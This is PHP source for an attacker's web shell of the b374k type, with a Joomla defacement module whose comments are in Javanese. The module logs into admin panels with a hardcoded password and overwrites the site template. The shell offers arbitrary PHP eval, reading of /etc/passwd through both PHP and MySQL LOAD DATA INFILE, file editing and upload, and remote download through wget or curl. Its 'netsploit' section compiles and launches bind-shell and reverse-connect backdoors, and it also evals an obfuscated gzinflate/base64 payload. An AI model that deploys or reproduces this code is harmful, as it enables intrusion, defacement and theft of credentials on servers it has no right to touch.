    $data = mysql_fetch_array($req);
$template_id=$data["extension_id"];

$url2=$site_url."/index.php";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 


$buffer = curl_exec($ch);

$return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);

///////////////////////////
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
$buffer = curl_exec($ch);

$pos = strpos($buffer,"com_config");
if($pos === false) {
echo("<br>[-] Ora iso login bos");
exit;
}
else {
echo("<br>[+] Mantap bos");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
$buffer = curl_exec($ch);

$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
if($hidden2) {
echo("<br>[+] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
exit;
}
echo("<br>[*] Updating Index.php .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
$buffer = curl_exec($ch);

$pos = strpos($buffer,'<dd class="message message">');
if($pos === false) {
echo("<br>[-] ora iso ganti index.php bos, manual wae yo :P");
exit;
}
else {
echo("<br>[+] Index.php wis tak ganti");
}
#################################################################
######################      V1.6  END      ######################
#################################################################


}
else
{

#################################################################
######################      V1.5           ######################
#################################################################
       
$req =mysql_query("SELECT * from  `".$dbprefix."templates_menu` WHERE client_id='0'");
    $data = mysql_fetch_array($req);
$template_name=$data["template"];
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
$buffer = curl_exec($ch);

$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);

$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
$buffer = curl_exec($ch);

$pos = strpos($buffer,"com_config");

if($pos === false) {
echo("<br>[-] Ora iso Login bos");
exit;
}
else {
echo("<br>[+] Sip iso login bos");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
$buffer = curl_exec($ch);

$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);

if($hidden2) {
echo("<br>[+] index.php Ora eneng neng Editor");
}
else {
echo("<br>[-] index.php Ora temu");
}

echo("<br>[*] sik tak ganti Index.php ne .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
$buffer = curl_exec($ch);

$pos = strpos($buffer,'<dd class="message message fade">');
if($pos === false) {
echo("<br>[-] Index.php Ora iso diganti");
exit;
}
else {
echo("<br>[+] Index.php wis tak ganti bos");
}
#################################################################
######################      V1.5  END      ######################
#################################################################

}

}


function randomt() { 

    $chars = "abcdefghijkmnopqrstuvwxyz023456789"; 
    srand((double)microtime()*1000000); 
    $i = 0; 
    $pass = '' ; 

    while ($i <= 7) { 
        $num = rand() % 33; 
        $tmp = substr($chars, $num, 1); 
        $pass = $pass . $tmp; 
        $i++; 
    } 

    return $pass; 

}

function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)

{

$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
$ar=trim($ar1[0]);
return $ar;
}
echo "

"; 
echo "<title>ch4ng3 th!s sh!ts</title> 

"; 
echo "<body bgcolor=\"#000000\">

"; 
echo " <style>

"; 
echo "

"; 
echo "BODY { SCROLLBAR-BASE-COLOR: #191919; SCROLLBAR-ARROW-COLOR: olive;   color: white;}

"; 
echo "textarea{background-color:#191919;color:red;font-weight:bold;font-size: 12px;font-family: Tahoma; border: 1px solid #666666;}

"; 
echo "input{FONT-WEIGHT:normal;background-color: #191919;font-size: 13px;font-weight:bold;color: red; font-family: Tahoma; border: 1px solid #666666;height:17}

"; 
echo "</style>

"; 
echo "<center>

"; 
echo "<font color=\"#FFFF6FF\" size='+3'>Hallo BOS</font><br><br>

"; 
echo "<FORM action=\"\"  method=\"post\">

"; 
echo "<input type=\"hidden\" name=\"form_action\" value=\"2\">

"; 
echo "<br>

"; 
echo "<table border=1>

"; 
echo "

"; 
echo "<tr><td>db_prefix </td><td><input type=\"text\" size=\"30\" name=\"db_prefix\" value=\"jos_\"></td></tr>

"; 
echo "<tr><td>db_username </td><td><input type=\"text\" size=\"30\" name=\"db_username\" value=\"\"></td></tr>

"; 
echo "<tr><td>db_password</td><td><input type=\"text\" size=\"30\" name=\"db_password\" value=\"\"></td></tr>

"; 
echo "<tr><td>db_name</td><td><input type=\"text\" size=\"30\" name=\"db_name\" value=\"\"></td></tr>

"; 
echo "<tr><td>Admin Control panel url</td><td><input type=\"text\" size=\"60\" name=\"site_url\" value=\"http://site.com/administrator/\"></td></tr>

"; 
echo "

"; 
echo "</table>

"; 
echo "<br>

"; 
echo "<br>

"; 
echo "<TEXTAREA rows=\"18\"  cols=\"50\" name=\"code\"></TEXTAREA>

"; 
echo "   <br>

"; 
echo "<INPUT class=submit type=\"submit\" value=\"Submit\" name=\"Submit\">

"; 
echo "</FORM>

"; 
echo " <center> <font color=\"#FFFF6FF\" size='+1'>   Change Index | Admin     </font><br><br> <center>
";
}

?>

<?php 
    if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?> 
   <form action="?y=<?php echo $pwd; ?>&amp;x=php" method="post"> 
   <table class="cmdbox"> <tr><td> <textarea class="output" name="cmd" id="cmd"> <?php if(isset($_POST['submitcmd'])) { echo eval(magicboom($_POST['cmd'])); } 
   else echo "echo file_get_contents('/etc/passwd');"; ?> </textarea> 
   <tr><td><input style="width:6%;margin:0px;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form> </table> </form> 
   <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){ 
   if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){ 
   $sqlhost = $_GET['sqlhost']; $sqluser = $_GET['sqluser']; $sqlpass = $_GET['sqlpass']; $sqlport = $_GET['sqlport']; 
   if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){ $msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">"; 
   $msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport; 
   $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-></span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;\">[ databases ]</a>"; if(isset($_GET['db'])) 
   $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-></span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>"; 
   if(isset($_GET['table'])) $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-></span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."&amp;table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>"; 
   $msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>"; 
   $msg .= "</div>"; echo $msg; if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){ 
   $db = $_GET['db']; $query = "DROP TABLE IF EXISTS b374k_table;
CREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );
LOAD DATA INFILE \"/etc/passwd\"
INTO TABLE b374k_table;SELECT * FROM b374k_table;
DROP TABLE IF EXISTS b374k_table;"; 
   $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; 
   $tables = array(); $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".$db."</th></tr>"; $hasil = @mysql_list_tables($db,$con); while(list($table) = @mysql_fetch_row($hasil)){ @array_push($tables,$table); } @sort($tables); 
   foreach($tables as $table){ $msg .= "<tr><td><a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."&amp;table=".$table."\">$table</a></td></tr>"; } $msg .= "</table>"; } 
   elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){ $db = $_GET['db']; $table = $_GET['table']; $query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;"; $msgq = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <input type=\"hidden\" name=\"table\" value=\"".$table."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; $columns = array(); 
   $msg = "<table class=\"explore\" style=\"width:99%;\">"; $hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table); while(list($column) = @mysql_fetch_row($hasil)){ $msg .= "<th>$column</th>"; $kolum = $column; } $msg .= "</tr>"; $hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table); list($total) = mysql_fetch_row($hasil); if(isset($_GET['z'])) 
   $page = (int) $_GET['z']; else $page = 1; $pagenum = 100; $totpage = ceil($total / $pagenum); $start = (($page - 1) * $pagenum); $hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum); while($datas = @mysql_fetch_assoc($hasil)){ $msg .= "<tr>"; foreach($datas as $data){ 
   if(trim($data) == "") $data = "&nbsp;"; $msg .= "<td>$data</td>"; } $msg .= "</tr>"; } $msg .= "</table>"; $head = "<div style=\"padding:10px 0 0 6px;\"> <form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <input type=\"hidden\" name=\"table\" value=\"".$table."\" /> Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">"; 
   for($i = 1;$i <= $totpage;$i++){ $head .= "<option value=\"".$i."\">".$i."</option>"; if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>"; } $head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>"; $msg = $msgq.$head.$msg; } elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){ $db = $_GET['db']; $query = magicboom($_GET['sqlquery']); $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; @mysql_select_db($db); $querys = explode(";",$query); foreach($querys as $query){ 
   if(trim($query) != ""){ $hasil = mysql_query($query); if($hasil){ $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>"; $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>"; for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>"; $msg .= "</tr>"; for($i=0;$i<@mysql_num_rows($hasil);$i++) { $rows=@mysql_fetch_array($hasil); $msg .= "<tr>"; for($j=0;$j<@mysql_num_fields($hasil);$j++) { 
   if($rows[$j] == "") $dataz = "&nbsp;"; else $dataz = $rows[$j]; $msg .= "<td>".$dataz."</td>"; } $msg .= "</tr>"; } $msg .= "</table>"; } else $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>"; } } } else { $query = "SHOW PROCESSLIST;
SHOW VARIABLES;
SHOW STATUS;"; $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; $dbs = array(); $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>"; 
   $hasil = @mysql_list_dbs($con); while(list($db) = @mysql_fetch_row($hasil)){ @array_push($dbs,$db); } @sort($dbs); foreach($dbs as $db){ $msg .= "<tr><td><a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."\">$db</a></td></tr>"; } $msg .= "</table>"; } @mysql_close($con); } else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>"; echo $msg; } else{ ?> 
   <form action="?" method="get"> <input type="hidden" name="y" value="<?php echo $pwd; ?>" /> 
   <input type="hidden" name="x" value="mysql" /> 
   <table class="tabnet" style="width:300px;"> <tr><th colspan="2">Connect to mySQL server</th></tr> 
   <tr><td>&nbsp;&nbsp;Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr> 
   <tr><td>&nbsp;&nbsp;Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr> 
   <tr><td>&nbsp;&nbsp;Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr> 
   <tr><td>&nbsp;&nbsp;Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr> </table> </form> 
   <?php }} elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){ @ob_start(); eval("phpinfo();"); $buff = @ob_get_contents(); @ob_end_clean(); $awal = strpos($buff,"<body>")+6; $akhir = strpos($buff,"</body>"); echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>"; } elseif(isset($_GET['x']) && ($_GET['x'] == 'logout')){ @session_start(); @session_unregister("login"); echo "<meta http-equiv='refresh' content='0; url=?y=".$pwd."' />"; "</div>"; } 
   elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping')){ eval(gzinflate(base64_decode($jumper))); "</div>"; } elseif(isset($_GET['view']) && ($_GET['view'] != "")){ if(is_file($_GET['view'])){ if(!isset($file)) $file = magicboom($_GET['view']); if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($file)); $group=@posix_getgrgid(@filegroup($file)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else { $owner = $user; } $filn = basename($file); echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\"> <tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span> <form action=\"?y=".$pwd."&amp;view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" /> </form> </td></tr> <tr><td>Size</td><td>".ukuran($file)."</td></tr> <tr><td>Permission</td><td>".get_perms($file)."</td></tr> <tr><td>Owner</td><td>".$owner."</td></tr> <tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr> <tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr> <tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr> <tr><td>Actions</td><td><a href=\"?y=$pwd&amp;edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$file\">delete</a> | <a href=\"?y=$pwd&amp;dl=$file\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$file\">gzip</a>)</td></tr> <tr><td>View</td><td><a href=\"?y=".$pwd."&amp;view=".$file."\">text</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=code\">code</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=image\">image</a></td></tr> </table> "; 
   if(isset($_GET['type']) && ($_GET['type']=='image')){ echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&amp;img=".$filn."\"></div>"; } elseif(isset($_GET['type']) && ($_GET['type']=='code')){ echo "<div class=\"viewfile\">"; $file = wordwrap(@file_get_contents($file),"240","
"); @highlight_string($file); echo "</div>"; } else { echo "<div class=\"viewfile\">"; echo nl2br(htmlentities((@file_get_contents($file)))); echo "</div>"; } } elseif(is_dir($_GET['view'])){ echo showdir($pwd,$prompt); } } elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){ if(isset($_POST['save'])){ $file = $_POST['saveas']; $content = magicboom($_POST['content']); if($filez = @fopen($file,"w")){ $time = date("d-M-Y H:i",time()); 
   if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time; else $msg = "failed to save"; @fclose($filez); } else $msg = "permission denied"; } if(!isset($file)) $file = $_GET['edit']; if($filez = @fopen($file,"r")){ $content = ""; while(!feof($filez)){ $content .= htmlentities(str_replace("''","'",fgets($filez))); } @fclose($filez); } ?> 
   <form action="?y=<?php echo $pwd; ?>&amp;edit=<?php echo $file; ?>" method="post"> 
   <table class="cmdbox"> <tr><td colspan="2"> <textarea class="output" name="content"> 
   <?php echo $content; ?> </textarea> <tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" />
   <input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> &nbsp;<?php echo $msg; ?></td></tr> </table> </form> <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){ if(isset($_POST['uploadcomp'])){ if(is_uploaded_file($_FILES['file']['tmp_name'])){ $path = magicboom($_POST['path']); $fname = $_FILES['file']['name']; $tmp_name = $_FILES['file']['tmp_name']; $pindah = $path.$fname; $stat = @move_uploaded_file($tmp_name,$pindah); if ($stat) { $msg = "file uploaded to $pindah"; } else $msg = "failed to upload $fname"; } else $msg = "failed to upload $fname"; } elseif(isset($_POST['uploadurl'])){ $pilihan = trim($_POST['pilihan']); $wurl = trim($_POST['wurl']); 
   $path = magicboom($_POST['path']); $namafile = download($pilihan,$wurl); $pindah = $path.$namafile; if(is_file($pindah)) { $msg = "file uploaded to $pindah"; } else $msg = "failed to upload $namafile"; } ?> 
   <form action="?y=<?php echo $pwd; ?>&amp;x=upload" enctype="multipart/form-data" method="post"> 
   <table class="tabnet" style="width:320px;padding:0 1px;"> 
   <tr><th colspan="2">Upload from computer</th></tr> <tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr> </tr> </table></form> <table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Upload from url</th></tr> 
   <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=upload"> 
   <table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr> 
   <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td>
   <td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td> </tr> </table> 
   <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div> 
   <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){ if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) { $port = trim($_POST['port']); $passwrd = trim($_POST['bind_pass']); tulis("bdc.c",$port_bind_bd_c); exe("gcc -o bdc bdc.c"); exe("chmod 777 bdc"); @unlink("bdc.c"); exe("./bdc ".$port." ".$passwrd." &"); $scan = exe("ps aux"); if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; } else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; } } elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) { $port = trim($_POST['port']); $passwrd = trim($_POST['bind_pass']); tulis("bdp",$port_bind_bd_pl); exe("chmod 777 bdp"); $p2=which("perl"); exe($p2." bdp ".$port." &"); $scan = exe("ps aux"); if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; } else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; } } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) { $ip = trim($_POST['ip']); $port = trim($_POST['backport']); tulis("bcc.c",$back_connect_c); exe("gcc -o bcc bcc.c"); exe("chmod 777 bcc"); @unlink("bcc.c"); exe("./bcc ".$ip." ".$port." &"); $msg = "Now script try connect to ".$ip." port ".$port." ..."; } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) { $ip = trim($_POST['ip']); $port = trim($_POST['backport']); tulis("bcp",$back_connect); exe("chmod +x bcp"); $p2=which("perl"); exe($p2." bcp ".$ip." ".$port." &"); $msg = "Now script try connect to ".$ip." port ".$port." ..."; } elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) { $pilihan = trim($_POST['pilihan']); $wurl = trim($_POST['wurl']); $namafile = download($pilihan,$wurl); if(is_file($namafile)) { $msg = exe($wcmd); } else $msg = "error: file not found $namafile"; } ?> <table class="tabnet"> <tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr> <tr> <td> <table> <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit"> <tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr> 
